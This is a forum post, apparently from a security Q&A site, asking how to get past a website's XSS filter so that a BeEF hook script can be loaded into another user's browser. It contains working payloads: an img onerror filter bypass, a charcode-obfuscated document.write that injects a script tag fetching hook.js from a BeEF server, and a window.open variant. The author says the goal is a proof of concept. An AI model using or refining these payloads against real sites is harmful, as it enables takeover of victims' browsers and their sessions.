I found a vulnerability on a website which allows me to trigger XSS. It's a very specific vulnerability, which is caused by a design-flaw. I want to write a PoC for them but I'm stuck at this step.
The XSS-payload is not delivered through an URL, and is not stored in a database. So, it's nor persistent-XSS nor reflective-XSS. The attacker has to enter the payload into a box, and send it to another user of that website by altering a specific ID.
Anyway, my question. They filter XSS but not good enough, because this bypass, can bypass their filter:
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
The problem is, how do I use this specific filter to hook BeEF on it? I tried:
<IMG SRC=/ onerror="document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))"></img>
But that payload ain't delivered clean, as result I get a lot of other HTML mixed. I also searched if there are already articles explaining how to bypass XSS filters to hook BeEF on it, but I found none.
So my question, is there a way to bypass XSS filters, to be able to hook BeEF on it? I'm not asking how to bypass XSS in general, I'm asking it in a situation where you want to include the BeEF hook.js` file.
Edit 2: I found a way of opening a new URL in a new tab by using this code:
<img src="/" onerror="window.open('http://127.0.0.1:3000/hook.js', '_blank')"> However, the user gets a warning that a pop-up was blocked, and when he allows it than, he gets focus on that tab immediately. Does this satisfy for a PoC? Or does anyone have better solutions?